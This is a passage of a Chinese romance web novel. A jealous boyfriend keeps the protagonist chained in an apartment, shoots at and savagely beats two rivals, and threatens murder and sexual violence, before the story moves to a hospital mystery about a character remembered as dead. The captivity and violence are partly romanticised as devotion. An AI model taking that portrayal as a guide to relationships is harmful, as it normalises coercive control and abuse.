身后伸出来一只手,骨节分明,指着的方向正是显示屏后,陶柠这才回过神,顺着男人所指的方向看过去。看到屏幕后的东西时, 那种毛骨悚然的感觉又来了。 他开始以为只是一块巨大的玻璃,没想到是一片漆黑,玻璃清晰地倒映出身后人的脸,男人浅笑着,话音落下后,原本漆黑的地方忽然出现一颗巨大的蔚蓝色圆球,仿佛近在咫尺。 陶柠知道,那是地球 而他此时此刻,竟然在一个类似宇宙空间站的里面,从太空中以婴儿的视角看地球这个庞然大物。 一切都显得如此匪夷所思,甚至有些可怖的荒谬感。陶柠被这个噩梦惊醒了,刚一挣扎,腰肢上的手勒得更紧,黑暗之中,干涸的唇凑过来吻了吻他的额角,伴随含糊囫囵的话语:“怎么了我在这儿” 赵静群的声音一出来,陶柠几乎被惊吓到的心脏瞬间落回了胸腔里,犹豫了一下,原本抵着他胸膛阻止他靠近的手缓缓放下来,这几天来第一次回抱赵静群。 无论这两场噩梦在提醒自己是什么东西,至少还有这个人在身边。漆黑的房间里,陶柠缩在赵静群怀里,轻轻“嗯”了一声,闭上眼睛。 只是第二天,陶柠又无法自控地生气了。 起因是赵静群带他去厕所,经过那面满是照片的墙壁时,陶柠多瞄了一眼某张照片——不知道赵静群在宋郁丛和徐隽两人的照片上乱涂乱画,究竟是无意识的还是下意识的,因为有张照片上,某个人的脸上被画了只王八。 这只黑色王八在一众涂鸦里尤其突兀。 所以陶柠忍不住多看了一眼。然而就是这一眼,赵静群那张冷脸再次扭曲了,冲过去撕下那张照片,三两下就撕了个稀巴烂,掰过陶柠的肩膀,在他耳畔大声质问:“宋郁丛那条野狗就那么吸引你?上个厕所还要偷看?” 他看什么了? 突如其来的斥责,陶柠懵了。 然而这还不算完,赵静群不知道又想起什么了,忽然推开他,冷冷说:“你特别恨我吧,陶柠,我把你关在这儿变着花样羞辱你,逼迫你做不喜欢的事,明明知道你心里想的念的都是这两个贱人,还要你委曲求全说爱我,你心里很恶心吧” 陶柠虽然不知道赵静群脑子里究竟在想什么,但这么些天以来,除了赵静群说话太过分了他发过脾气,其他时候可以说是任赵静群予夺予取,床上床下都由着他,偶尔赵静群做的事太羞耻了,陶柠才会挣扎一下。 可他都这样了,在赵静群心里竟然成了“委曲求全”?委曲求全这个词语是这么用的吗?如果他不愿意,宁肯死也不会做多余的事情,那才叫羞辱啊。 陶柠气得都不知道该说什么好了,张嘴想要解释,可赵静群根本不听,眼睛里又慢慢爬上血丝,瞪着他,嗓音沙哑:“我知道你恨我,恶心我,但我不在意了,也不会放你走绝对不会。” 赵静群个子很高,在人群中也是鹤立鸡群的存在,旁人会因为他周身不好惹的气场离他远点,陶柠也见过他揍人时的凶残狠厉。 只是这样一个人,跟自己说话时总是笑盈盈的,他也不需要抬头跟赵静群说话,因为赵静群会佝偻着背低头。但是现在,赵静群整个人显而易见消瘦了一圈,下巴上也冒出了青茬,完全看不出那时的意气风发了。 心脏难以自抑地疼起来,小火苗一样的怒气瞬间消散,陶柠微不可闻地叹了口气,走过去,抱住比他大了一圈的男人。 陶柠感觉到他在轻微挣扎,其实他用的力气不大,只是挣扎了一会儿,赵静群像根木头似的依旧被他抱着。 “抱着我你不嫌恶心么?” 知道赵静群奇怪的想法又开始了,陶柠无奈道:“我没有这么说过,刚才你为什么会觉得我在想宋郁丛?”他分明只是看了一眼王八。 不料头顶传来一声冷笑,赵静群毫不犹豫推开他,脸色阴沉,“你果然是为了宋郁丛那条野狗,难为你了啊陶柠,为了他要强忍着恶心抱我。” 陶柠:“你误会了。” 赵静群的面容有一瞬间扭曲,“还在骗我,陶柠,你这样不累么?我都替你累得慌你那是什么眼神?我知道了,你现在看我一眼都嫌恶心了吧。早知道我是这样的人,你” 砰砰砰!没等陶柠解释,门外便传来急促的敲门声,赵静群脸色一变,拽住陶柠的手想把他推进房间里,因为系统说过徐隽和宋郁丛今天会知道他的位置,陶柠知道是谁来了,而赵静群如果把他关在房间里,他看不到情况根本无法想象他们三人见面的后果。 连忙大声说:“赵静群!你现在要是敢把我关起来,我真的会恨你!”趁赵静群愣住,陶柠用手扒住门框,如果赵静群依旧要关门,那么厚实的木门会碾过他的手。 只是不想看到无法挽回的后果,他才会用自己的身体挡住门框。但陶柠抬头,撞入赵静群通红的眼眶,忍不住浑身一颤。 陶柠如鲠在喉,他又伤害赵静群了。因为那双眼睛里的悲伤和委屈快要溢出来了。 砰的一声巨响! 大门竟然被人直接踹开了,门外的人看过来,陶柠呼吸一窒,是徐隽。他的目光在陶柠和赵静群身上游离,直到看见陶柠半敞开的睡衣,从脖颈至胸膛间密密麻麻的吻痕,一路延伸往下。 这些吻痕像是在嘲笑来人的愚蠢,徐隽浑身僵硬了。而视线下移,竟然在陶柠雪白的脚腕上看到了锁链,金色的锁链相连在一起,分明是羞辱味极强的东西,可穿戴这串金锁链的人脚踝很细很白,无故多出了几分涩.情的味道。 没有徐隽噩梦里陶柠痛苦挣扎的绝望画面,只有充满旖旎和情趣意味的场景,眼前的画面无一不在告诉他,这段时间的焦急和恐慌有多么愚蠢。 徐隽闭了闭眼,才让自己没有过分失态,因为他知道,这些画面对他来说何尝不是另一种绝望。而身后传来气喘吁吁的声音,宋郁丛在收到陶柠位置的消息后,第一时间就赶来了这栋位于市中心的公寓。 他们谁都没有想到,陶柠就被人藏在距离奥克森特几百米外的地方。 “怎么又是你?徐隽你他妈是阴魂不散”宋郁丛是跑上楼梯的,因为想要看见陶柠的念头一刻也等不了,他必须立刻看到陶柠,所以见电梯慢吞吞的,按照消息,他干脆一口气跑上十楼。 宋郁丛推开徐隽后,同样被眼前的画面震得说不出话。“你你们” 两道视线令人完全忽视不了,陶柠感觉自己上半身还有脚踝上要烧起来了。因为这些天赵静群的行为太荒唐,陶柠也由着他,有时候他甚至一天没穿过衣服,所以穿着这种半露不露的睡衣,陶柠的羞耻心已经很淡了。 但这并不代表他能穿着没几块布的衣服出现在三个人面前还能淡定。 陶柠脸颊绯红,想用手遮住锁骨上惨不忍睹的吻痕,结果一伸手,发现胳膊上,手肘上也有吻痕,“”赵静群这个混蛋! 就在陶柠的羞耻心快要爆炸之际,身上一热,原来是赵静群拿了件衣服披在他身上,大款的风衣把他的身体遮得严严实实,除了脸,其他地方一点儿也没露出来。 整个过程赵静群一言不发,脸上表情都没有。陶柠不知道他内心的想法,却喉咙一紧,感受到了眼前这个人身上风雨欲来的恐怖低压。 客厅里的气氛顿时剑拔弩张,没有人说话,陶柠觉得自己被架在高压线上,说错一个字,电闪雷鸣不够,还要掉入万劫不复的深渊。他怎么也没有想到,系统那个笨东西竟然会选择赵静群在的时候给他们消息。 现在现在他该怎么办?不等陶柠想出办法,率先打破死寂的是宋郁丛气急败坏的尖叫声:“你们在做什么?——你们做什么啊?!” 看模样宋郁丛的表情要一块一块碎掉了,他抓住自己的头发,仿佛难以置信所看到的画面,呼吸越来越急促。 陶柠见过他发病时的样子,就和现在一样。担心宋郁丛会出事,他上前走了一小步,金色的链子簌簌作响,床上时陶柠只觉得羞愤欲绝,此刻却像催命符似的,令他心惊胆战。 但是让陶柠意外的是,赵静群看上去丝毫没有生气,脸上反而挤出了一抹笑,嘴唇扯动,而且亲昵地搂住陶柠的肩膀,笑呵呵说:“宝宝,这两个人是谁?怎么会闯进我们家里来。” 不应该是这样的反应,赵静群的语气太平静了,完全没有刚才咄咄逼人的样子,就像只是看见了陶柠的两个普通朋友,而不是他恨之入骨的情敌。但正是因为过于平静,陶柠觉得后脊发凉。 “他他们” 陶柠刚开口,宋郁丛像点燃火线的炸弹,怒不可遏嘶吼:“你这狗比装什么装?陶柠你不是说过他只是你表哥么?你知不知道他有老婆啊?他亲口告诉我他有老婆!!” 赵静群面不改色,笑着说:“哦,忘记告诉你了,我老婆就是陶柠。”随即他扯起来的嘴角弧度越大,“你那么关心我老婆做什么?莫非你是我老婆在外面的情夫?哈哈。” 没等宋郁丛说话,他又笑了几声,继续说:“你们上床了吗?上了几遍?我老婆很软吧,你看看,如果不惦记怎么会找到这里来?可惜我这里没有什么好东西招待你们,要不这样吧,我把你们杀了,然后在你们的尸体上操.我老婆,怎么样啊?” 陶柠瞪大了眼睛,这才发现,赵静群的笑容很诡异,甚至到了渗人的地步,原来他嘴角是扯起来的,但双眼却冰冷无波,根本没有一丝一毫起伏。 这的确是山雨欲来的前兆,陶柠大声说:“快走啊!” 但门口前的两人没有动,徐隽只是轻微皱眉,从口袋里掏出手机,那一瞬间,砰的一声响,子弹穿过手机屏幕,手机瞬间四分五裂,鲜血顺着徐隽的掌心落在地上。宋郁丛张嘴想要说的话被堵在了嗓子口,“你是疯了吧你?” 竟然不是吓唬人的枪,而是真枪实弹!陶柠也被这声枪响吓呆了,猝然抓紧眼前人的衣袖,声音发颤:“赵静群,你不能这样,你不能这样!你说过要一辈子跟我在一起的,如果你杀了他们,你会坐牢,你也会死的!到时候谁跟我一辈子?” 从未如此激动说过话,陶柠真的怕了,赵静群不是装疯威胁他吓唬他,而是他真的是个不管不顾的疯子,如果他刚才打偏了一分一毫,徐隽的命就不在了。 他是真的疯子!! 赵静群依旧是一张笑脸,只是这一次这种诡异的笑里面终于带了一点真情实感,他手里拿着随时会走火的真枪,反过来抱住陶柠,忽然激动说:“原来你想跟我过一辈子,真好,真好啊陶柠。” “对我想跟你过一辈子”陶柠在这个怀抱里感觉不到温暖,就像是被死神抱在怀里,他几乎是用平生最温柔最温和的声音在说话,只是说到最后声线有一丝变形,“所以、所以你把枪放下好不好?” 赵静群的头埋进他的肩颈,声音有些模糊,“你说的都是真话吗?” “是是真话” “不会骗我吗?” “不会。” 气氛沉默了一瞬,赵静群忽然抬起头,看着陶柠,一只手举起枪指向门口,笑得有些讽刺,“如果我偏要杀了他们呢?” 说完,他一根手指扣下扳机,陶柠瞳孔紧缩,瞬间扑过去,发出了几乎撕心裂肺的声音:“不要!!!” 陶柠把赵静群瞬间扑倒在地,随着身后的一声枪响,脖子僵硬好似石化,陶柠猛地扭过头,而空气与时间仿佛随着他的动作静止。 心脏的跳动也几乎静止,直到门口的两人都完好无损站在原地,他们旁边的墙壁上留下了弹孔,陶柠的魂魄才回到身体里,重重松了口气。 他一把夺过赵静群手里的枪,身后的徐隽喊道:“小心!你不要动那把枪!”但是什么事也没有发生,陶柠看身下的人,却撞入一双平静的眼眸。 “里面只有两发子弹。”赵静群躺在地上,没有笑容没有表情,安静地看着陶柠,“他们是用来杀掉你,最后我用来自杀的。” 第89章 第 89 章 角逐 陶柠无论如何也想不到, 那两颗子弹是用来了结自己还有赵静群的,难怪偶尔和他相拥而眠,陶柠会感觉赵静群的裤口袋里有东西, 硌得他腰腹不舒服,只是那时候他往往很疲惫, 还没来得及问就睡过去了。 现在才知道,原来那是把枪。 所以当赵静群身上揣着一把枪和他相拥的时候, 心里在想些什么?是真的恨他恨到希望他死么? 但陶柠已经无暇知道赵静群当时的想法,因为下一秒,令陶柠意想不到的是, 从始至终看起来很冷静的徐隽冲了过来。 只是急切的脚步冲到陶柠面前,徐隽又及时停下,把受伤的右手背在身后, 他朝陶柠伸出干净苍白的左手, “跟我走。” 陶柠的印象里, 徐隽很少用肯定的语气跟他说过话, 从前总会询问他喜不喜欢,才慎重地提起一个要求。现在却有些强硬地告诉他, 希望陶柠跟他走,如果有其他人听见,会觉得徐隽是个蛮横不讲理的人。 但一如那天在会所里, 陶柠跟徐隽的距离很近,这一次,陶柠再次看清楚了他镜片后岌岌可危的哀求。 徐隽在哀求他。 陶柠想说,对不起,我没有办法抛下赵静群,就和我他所说的, 我爱上了他,所以没有办法抛弃他,即便他曾经想过要杀掉我。 只是话到嘴边,却无论如何也开不了口,因为眼前人的视线,像一把解剖过心脏后的刀子,随后又把刀柄向他递过来,仿佛在质问:“你也想血淋淋剖开我的心么?” 不想,所以陶柠哑口无言。 “当着我的面勾引他,”这时候,赵静群已经站了起来,拍了怕衣服上不存在的灰尘,歪了下头,平静地看向徐隽:“你是自寻死路吧。” 话落,砰的一声!陶柠都没有看清赵静群的动作,徐隽一个一米八五大高个的人竟然直接像根断线的风筝飞了出去,重重砸在地上,仅是赵静群这一脚,徐隽就蜷缩在地上,捂住肚子,咳出来一口血。 刺目的鲜血染红了陶柠的眼眶,想冲过去扶起徐隽,却被赵静群一个用力拉进怀里,“干什么?!放开我!” 陶柠拼命挣扎,可抓住臂膀的手像滚烫的铁钳,根本挣脱不了,反而抓住臂膀的力度越来越重。 赵静群冷眼看着陶柠在自己怀里拼命挣扎,嘴里心里都在惦记地上的野男人,甚至看过去的目光含情脉脉,而看自己时眼睛里只有恐惧,就好像他是天理难容的恶人,要强行棒打野鸳鸯。 明明这个人说过那两条野狗只是朋友只是室友,明明说过爱他的,还说想跟他过一辈子,现在看果然又是满口谎言,陶柠就是个骗子!他又骗自己 他又骗了我,他又骗我 刹那间,耳边听不到任何声音,赵静群眼底迅速爬满血丝,表情病态扭曲,冰冷的视线落在地上躺着的徐隽还有站着的宋郁丛,只是此刻这两个人在脑子里都变成了腥臭恶心的牲畜。 ——两个畜生也想跟他抢陶柠吗? ——都怪这两个畜生抢走了陶柠!为什么这两个畜生不去死?如果他们死了,陶柠就是他一个人的了,再也没有人跟他抢陶柠了! ——去死!去死!!去死!!! 赵静群咧开嘴角,把陶柠锁在重达几百斤的木桌旁,身后扑过来一个人影,他反身一脚踹了过去,痛苦的呻吟激发了内心的暴虐和嫉妒,他冲过去一拳头砸在地上的牲畜身上。 一拳、两拳、三拳 地上原本嚣张的牲畜再也没有反抗的能力,赵静群嘴角咧开的弧度越来越宽,双手都是黏腻腥臭的鲜血,一边微笑一边嘴里呢喃着:“你们去死好了,为什么要跟我抢他,你们该死,我送你们去死吧” 陶柠都要被赵静群吓疯了,刚才赵静群状况就非常不对劲,他大声喊他求他停下来,赵静群就像没听见,不但没有停下,而且反手把他锁在桌子旁边,他动也动不了,然后眼睁睁看着赵静群把宋郁丛踹倒在地上。 他嘶吼:“停下!赵静群!快停下啊!” 但陶柠快把嗓子喊哑了也无济于事,令人心惊胆战的拳头声依旧响彻整个房间,赵静群自小在混乱用拳头说话的地方生活,从一个街头混混长到领头打手,打起架来属于自损八百伤敌一千,这种不要命的打法和徐隽还有宋郁丛他们不在一个级别,两人根本招架不住。 即使如此,徐隽和宋郁丛也发狠地把所有怨恨和嫉妒砸向赵静群,噼里啪啦,三个人扭打的地方一片狼藉,唯独陶柠所在的地方干净一尘不染,就好像三头争抢伴侣权利的野兽故意把陶柠所在的地方留出来,只有最后的胜利者才能踩着鲜血靠近陶柠。 但慢慢的,徐隽和宋郁丛彼此扭打的幅度越来越小。 “不要”陶柠已经绝望了,“不要啊” 最后砰的三声响,三人全部倒在地上。过了片刻,赵静群喘着粗气,他摇摇晃晃站起来,擦掉鼻尖下的血,喘着粗气,居高临下睥睨地上没什么动静的两个人,轻蔑地笑出声,那眼神里终于有了几丝回过神的理智。 太好了,这两头牲畜都倒下了,再也没有人跟他抢柠柠了,柠柠是他的了,柠柠终于是他的了柠柠,柠柠,柠柠 柠柠呢?赵静群猛地回过头,满目重影与血腥的画面里,天旋地转间,桌子旁纤细的身影摔倒在地—— “柠柠!!!” 强烈的晕眩感来袭,陶柠想要喊赵静群停下,却怎样也发不出声,有血腥味堵在喉咙里,直到被黑暗笼罩前,他看到赵静群目眦欲裂朝自己奔过来。 赵静群到底要怎么样你才能相信我的话? * 陶柠又做梦了。 只是这次,他没有梦见那些光怪陆离的东西,而是清楚地看见自己被陶家人捡回去,然后养父母过世,他被陶圆带走,最后背着陶圆出嫁,小檬降生。 那是一年冬天,陶柠在读初中,因为山里面上下学的路不好走,陶圆多花点钱想让他寄宿,被陶柠拒绝了。 陶柠说:“我想锻炼身体,不累。” 清晰的回忆里,陶圆分明眼角含着泪,却扶着肚子哈哈大笑,摸了摸他的头说:“傻小子,知道你是担心以后少我肚子里兔崽子的奶粉钱,多大的事啊,阿姐还有钱,你一个小屁孩操心这些做什么?大冬天的路不好走,你是我老陶家的独苗苗,要是摔了磕了,我死后去地下怎么跟爸妈交代?” 陶柠闷闷的:“不要说这些。” “好吧,你这臭小鬼,才这么点大就跟我装老头子,小心以后没有姑娘跟着你好好好,还害羞呢,我不说这个了。你阿姐我要活他个一百多岁,那你可得争点气,阿姐才不要去养老院,要住大房子大车子,再找十七八个男人,还有肚子里的小崽子都靠着柠柠过好日子” “嗯,我会的。” 可能是他们陶家的倔强一脉相承,不仅陶圆犟不过陶柠,陶柠也犟不过陶圆,因为他雷厉风行的阿姐拿自己还有他未来的外甥威胁他,陶柠才不情不愿去学校寄宿。 只是陶柠花了一点心思,就从陶圆嘴里把预产期给套出来了。小檬降生前几天,陶柠第一次做同学嘴里的“坏学生”,那就是晚上的时候,踩学校后墙的土堆翻墙出去。 那几天他每晚都乘着风雪,来回十多里山路去县城的医院看陶圆,因为李向东跟他们一样没有父母,也没有什么亲戚想理会他们这一家人,所以只有李向东一个人在照顾陶圆。 李向东裹着被子在医院走廊的椅子上呼呼大睡,陶柠知道这是为什么,他们没有钱去住附近的酒店,只能带着被子睡在外面了。李向东伺候陶圆不用心,陶柠就会默默把陶圆吃过用过的东西再仔细洗刷一遍,给她掖被子,按摩肿胀的腿部,盯着陶圆的睡颜,担心她半夜会出事。 他体会到了担忧的滋味。 直到最后一日,陶柠又翻墙趁着夜色赶去医院,却看见李向东在产房外抽烟,他二话不说给了李向东一拳头,用的力气不大。李向东把烟和唾沫吐在地上,横眉竖眼,骂他没良心浪费钱的东西,没还手。 陶柠没理他,紧盯着亮着红灯的产房。 最后天亮的时候,护士抱着新生婴儿出来,祝贺母子平安。那是陶柠第一次看见新生儿,小小的一团被人抱在怀里,皱巴巴的一点儿也不好看。 但陶柠心底却有种很奇妙的感觉,脑海里闪过的念头竟然是——原来人类一开始长这样么?我小时候是怎样的?但这两个念头很快一闪而过,快到陶柠无法思考,只知道他的生命里又多了一个重要的人。 他不清楚怎么爱人,只知道这个皱巴巴的婴儿很重要,是他的外甥。 梦里面的画面飞快掠过,直到陶柠遇见赵静群,跟他谈恋爱,接吻,离别,重逢,最后到他抱着自己哭着说想要他爱他。 那时候陶柠看着赵静群通红的眼睛,心想,他又多了一个重要的人。 原来这就是爱么? 黑暗与光明接踵而来,陶柠半是迷糊半是清醒睁开眼,头顶又是熟悉的白色天花板,陶柠知道,他又到医院来了。 想都没有想,陶柠迅速爬起来,摘掉手背上针,在护士的惊讶声中跑出去。病房的门打开了,门外却是拄着拐杖,全身上下缠满绷带的徐隽。 两人注视良久,徐隽看着他,说:“你不是在找我。” 陶柠沉默片刻,“对不起。” 好半晌,徐隽轻微摇了摇头,没有说话,拄着拐杖一瘸一拐离开了。 第90章 第 90 章 早已经死了 “一号床陶柠对吧, 你要去哪儿?你现在身体状况很不好,必须静养休息,快跟我回床位” 护士没想到这个引发轰动的漂亮少年胆子竟然那么大, 醒来后一言不发就把针头拔了,急匆匆跑去外面, 好在不知什么原因又站在门口不动了。前段日子她还碰到一个戴眼镜的病人,醒来后也发疯似地往外冲 难不成现在都流行拔针头往外冲? “对不起, 给你们添麻烦了。”护士眼里漂亮的少年神情愧疚,甚至还端端正正给他们鞠了一躬。 “哎哟别这样,不是什么大麻烦” 俗话说伸手不打笑脸人, 何况这个病人不仅知错能改,懂礼貌,长得又好看, 护士的心瞬间软成了一滩水, 连忙换了张笑脸, 伸手扶住陶柠, “来,快躺病床上去。”但用力一扯, 身后的人没动。 护士扭头,却见少年定定地看着她,犹豫问:“请问送我来的那个人现在在哪里?我有很重要的事告诉他。” “送你来的那个人?”护士表情一言难尽, “你是说个子很高,身上都是血的人吧” “是!”少年的眼睛瞬间亮起来,连带着声音都开始激动,“您知道他在哪里吗?” 提起这个人护士就来劲了,一股脑把所有的事情说了出来。 昨天急诊部突然接到求助,对方说有人突然昏厥, 目的地在海州最有名的私立国际学校旁边的公寓。当时急诊部的人以为就是寻常的救助行动,派出救护车匆匆赶过去。 这一看不知道,看了能把人吓死,嚯!那公寓里面竟然躺了两个血人,地板上到处都是血,还有一个浑身是血的高个男人抱着一个少年全身发抖,场面极其混乱。 急救团队里的医生和护士因为救人也见过不少血腥的现场,但那个公寓里的惨状太像凶杀案现场了,而且“杀人”凶手可能就是眼前看起来精神有问题的高个男人,他们心惊胆战过去查看情况后,趁男人的心神都在怀里的人身上,连忙偷偷报了警。 因此到了医院,那个男人没过多久就被警察带走了。 在护士心里,她觉得陶柠也是受害人之一,投过去同情的目光,“哎哟你怎么跟那种人扯上关系啦?有再重要的事情也没有自己命重要,你千万不要去找他” 陶柠脸色一点点变白,本就惨白的肤色此刻苍白如纸,仿佛微风一吹,就要随时倒下。他盯着左手腕上的星空电子表,一直好好的戴在他手上,而右手上宋郁丛送的武士图案手表已经被赵静群踩烂了。 那是陶柠被赵静群绑到床上的第一天,男人冷冰冰的视线落在他右手腕的手表上,阴阳怪气了好一阵,随后粗暴地扯下手表,踩了个稀巴烂。陶柠气得说他不可理喻。 当时赵静群是怎样跟他吵起来的?陶柠已经忘了,只记得起来赵静群通红的眼睛,还有素来不可一世的脸上露出委屈极了的表情,那时候他就什么气都消了。 “你听见了吗一号床?千万不要去找那个精神病,我们都觉得他脑子有问题”说着说着,护士见面前刚才还彬彬有礼的漂亮少年忽然皱起眉,神色有些冷漠,不知为何有心慌,一张嘴也闭上了。 护士记得陶柠刚被送来的时候,着实因为一张漂亮到像洋娃娃的脸引起了不小轰动。一栋楼所有值班的护士聚集在一起,就是讨论他究竟是混血,是少数民族,还是明星之类的问题。 但那些问题从未质疑过性别,因为陶柠的脸漂亮归漂亮,身上没有一丝阴柔的女气,仔细看,那张精雕细琢的脸上还有几分过分清瘦的倔强。 只是护士没想到,这张脸冷下来时,会让人不由自主产生敬而远之的疏离感,就像原本的乌云散去,露出高高悬挂的明月,寻常时候只叫人窥见湖面的月影,唯有湖水知道,天上月高不可攀。 “他不是精神病。” 陶柠看着她,没什么表情说:“是我男朋友。” “不是精神病那什、什么?男朋友?!” 没有在乎周围人异样的眼光,陶柠只觉得心里前所未有的焦躁和烦闷,自从那天答应会把自己的位置告诉徐隽和宋郁丛两人后,系统就不见了。 无论陶柠在心底呼唤系统,还是出声呼喊系统,脑海里都没有声音存在了。 有时候陶柠甚至觉得一切只是一场梦,什么系统什么攻略,不过是他臆想出来的东西,可当他捂住自己的心脏,里面填满了对那个男人的思念和担忧,陶柠便知道,一切都是真的。 可他找不到赵静群了。 知道系统有能力让自己去见他,陶柠抱着“还没有完成攻略宋郁丛的任务”或者其他可耻又有些私心的想法,打算去找宋郁丛,希望接近宋郁丛能把系统引出来,而且陶柠对宋珩一直有怀疑。 以为看见宋郁丛又要费一番功夫,没想到陶柠很容易就见到了,不是他去找的,而是被人带过去的。带他去VIP病房的人陶柠也认识,那个接他去宋家庄园别墅的助理高宇。 高宇看着陶柠锁骨上的吻痕,一脸尴尬,“宋少爷醒来后说一定要见你,但是你放心”他显然是误会了什么,掩着半边嘴说,“他没几个星期下不了床,不会对你动手动脚。” 陶柠困惑地看了他一眼,但还是点了点头。进去之前,不动声色问:“大少爷没有来吗?” 然而,让陶柠完全没有想到的是,高宇露出一个比他更困惑的表情,“什么大少爷?” 那一瞬间,陶柠感觉有股寒意从脚底窜入头顶,站在病房门前半天没有动。为什么会这样?高宇既然能进大公司做总裁助理,反应不可能会这样差,他提起大少爷,高宇应该就能立刻想到宋珩,而不是反问他‘什么大少爷’ 怎么会这样?还是他问的话不够详细,高宇没反应过来? 前脚刚失去系统的音信,这边宋珩身上又出了问题。陶柠的心乱成了一锅粥,但还是故作冷静重复了一遍:“大少爷宋珩没来么?宋郁丛进了医院,他没来探望过吗?” 陶柠认真盯着高宇的脸,不放过一丝一毫的神情,内心却有个声音不停在说:不管是谁,不要跟他开玩笑了。然而,高宇依旧露出那种令陶柠汗毛倒竖的困惑。并且这一次,听到“宋珩”这个名字后,他像是见了鬼似的。 “宋珩?大少爷?宋家是有这么一个人,可他早在十年前就已经死了” * 陶柠神情恍惚站在VIP病房外。 脑海里不断回荡着高宇的话,宋珩早在十年前就已经死了。他觉得高宇是在跟自己开玩笑,追问了很多问题,比如说宋珩资助自己的事情还有宋珩检察长的身份。 但高宇却再次用那种困惑,还带了点同情的目光看他,说宋家确实出了个检察长,只是那是和宋家一个关系还不错的亲戚,又问他是不是因为宋郁丛的事情精神受到了伤害,还表示可以替他拒绝宋郁丛无理的要求 这些话让心底彻底乱了,最后连高宇在说什么都没听清楚,陶柠胡乱摇了摇头,推门进入VIP病房。 相较于脸上没多少伤的徐隽,病床上的男人一张脸上缠满了绷带,只露出眼睛鼻子嘴巴,乍一看还有些吓人,尤其是那双凤眼恶狠狠地瞪过来。 可惜来探望的人明显心不在焉的,宋郁丛浑身都快疼死了,一醒来就立刻让人把陶柠喊过来。他快气疯了,脑子里想的都是陶柠那个乡巴佬竟然敢和赵静群那条疯狗联合起来骗他! 即使上次徐隽告诉过他,赵静群是陶柠的前男友,宋郁丛当时就气得要命,但他不可能轻易相信徐隽,而是要陶柠亲口承认。 他相信陶柠说的任何事情。 结果在那座公寓,宋郁丛一闯进去就看见满身吻痕的陶柠,脑子唰的一下就空白了,接着赵静群得意洋洋说陶柠是他老婆的时候,宋郁丛恨不得把这对奸夫淫.夫马上沉塘。 实在太可笑了!他竟然真的信了陶柠说赵静群是表哥的鬼话!宋郁丛差点气出脑溢血。陶柠就是个吃着碗里看着锅里的骗子!! 以后还想让他捐骨髓?想都别想!哪怕陶柠当场死在他面前,他宋郁丛也绝不会再管陶柠的事。 满腔的嫉妒与怨恨化作怒意,宋郁丛眼睛都要喷火了,可面前的人依旧巍然不动,出神地盯着桌面上的果篮,丝毫看不见他。 噼里啪啦一声响,桌子上的东西全部被人挥到了地上。陶柠因为这声巨响回神,刚好看见宋郁丛手臂上隐约渗出血的绷带,连忙制止,“你这是做什么?不要乱动,是想喝水吗?” “滚开”因为身上太疼了,宋郁丛想破口大骂,结果喊出来的声音没有他平时十分之一响亮,还带了点委屈的味道。 陶柠的心软了一块,坦诚来说,就算攻略宋郁丛的任务完成了亦或是系统存在,他依旧放心不下眼前这个人,他根本放不下。也许他们说的对,他就是个不折不扣的骗子,如果要割舍,就应该果断点。 他要去主动寻找答案,无论是找赵静群亦或是查宋珩这个人,而不是被动待在原地,像这样打着任务的借口再次来伤害宋郁丛 想清楚后,陶柠默不作声把摔在地上的水果捡起来重新放回篮子里,整理好桌面,又倒了杯热水放到宋郁丛可以随时拿到的地方,轻声说:“对不起。” 说完,陶柠就要转身离开,但他没走几步,身后又传来重物倒地的声音,伴随着宋郁丛破音般的低吼:“给我回来!没有我的允许,谁给你胆子离开的”魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 90-100 第91章 第 91 章 别碰我! 没有办法, 担忧宋郁丛伤势的想法稍微占了上风,陶柠只好守在病床边。 但看他回心转意,病床上的人立刻收起眼底的不舍, 又摆出一副横眉冷竖的表情,那模样看陶柠鼻子不是鼻子, 眼睛不是眼睛,就像刚才因为挽留差点从床上摔下去的人不是他自己一样。 可惜, 另一个当事人根本看不见他脸上丰富多彩的情绪,伸手去搀扶他,宋郁丛却开始发脾气, 一边抗拒一边咬牙切齿道:“别碰我!” 以为是碰到了宋郁丛手臂上的伤口,陶柠愣了一下,听话松开了, 结果扫射过来的视线更加愤怒, 幽幽的凤眼里含着各种各样的情绪, 尤其是哀怨, 简直像被抛弃的怨夫。 换做是从前,陶柠不仅读不懂宋郁丛眼睛里情绪, 也绝对不会在意。只是现在默默伸出手再次搭在宋郁丛缠满了绷带的手臂上,陶柠看着他,故意做出一个受伤的表情, 轻声说:“我不。” 果不其然,没有再抗拒他,绷带下的眼睛却瞬间瞪起来,“乡巴佬你还要不要脸了?背着我在外面勾三搭四,嘴里面没一句实话,现在还有脸凑过来?滚, 放开我” 陶柠说:“不放。” 瞪着的凤眼更大了,“你不要脸!” 陶柠说:“嗯。” “” 完全意想不到的回答,这下子,被缠满绷带的人彻底偃旗息鼓了。 虽然宋郁丛不说难听的话了,但陶柠已经做好了被继续刁难的准备,出乎意料的是,接下来一段时间宋郁丛都没做出破口大骂、摔杯子摔碗之类任性的行为,只是偶尔使唤陶柠端个茶倒个水。 加上高宇给宋郁丛请的一男一女两个护工,陶柠想插手宋郁丛简单擦拭身体洗个澡的机会都没有,五六天下来,只用坐在沙发上当个吉祥物。 甚至也没有陶柠预想中因为赵静群的事情受到宋郁丛咄咄逼人的质问,相较于赵静群和徐隽不刨根问底不罢休的态度,宋郁丛除了指责他是个骗子,其他什么都没有问。 这一点让陶柠松了口气,连续几日纠结系统和宋珩的事情,他已经没有多余的精力去面对剪不断理还乱的感情了。 他已经确定系统和宋珩就是一个东西,陶柠推测,系统变成宋珩,有可能是为了帮助自己攻略赵静群他们,至于系统是怎么变成宋珩并且修改其他人的记忆的,这就不在陶柠想要弄清楚的范畴之内了。 陶柠只想弄清楚四件事,那两个噩梦究竟意味着什么,自己是什么东西,系统的身份又是什么,原来的系统又去哪里了。 可要知道这四件事的真相,没有系统存在,周围人也都被篡改了记忆,仅靠一点微乎其微的线索推理出来,简直天方夜谭。 所以慢慢的,陶柠就不再自我为难了,而是想办法找到赵静群,他太想和赵静群见一面了。 第一个想到的办法便是联系上护士嘴里说偷偷报了警的人,得到来医院的警察隶属于哪个派出所。报警的人是个戴眼镜的圆脸胖医生。 陶柠趁宋郁丛睡着的时候偷偷去打听,胖医生告诉了他一个地址,到了晚上,陶柠刻意软着声音,带了点讨好的意味说:“这两天我想回学校看看,已经落下很多功课了。” 宋郁丛冷哼了一声,阴阳怪气:“又想背着我去勾搭其他人吧?我才不信你的鬼话。” “求你了。” “滚。” “少爷。”轻轻地叫了一声,陶柠坐到他身边,潋滟的棕色双眸似含着一汪春水,给他掖了掖被子,“让我去吧。” * 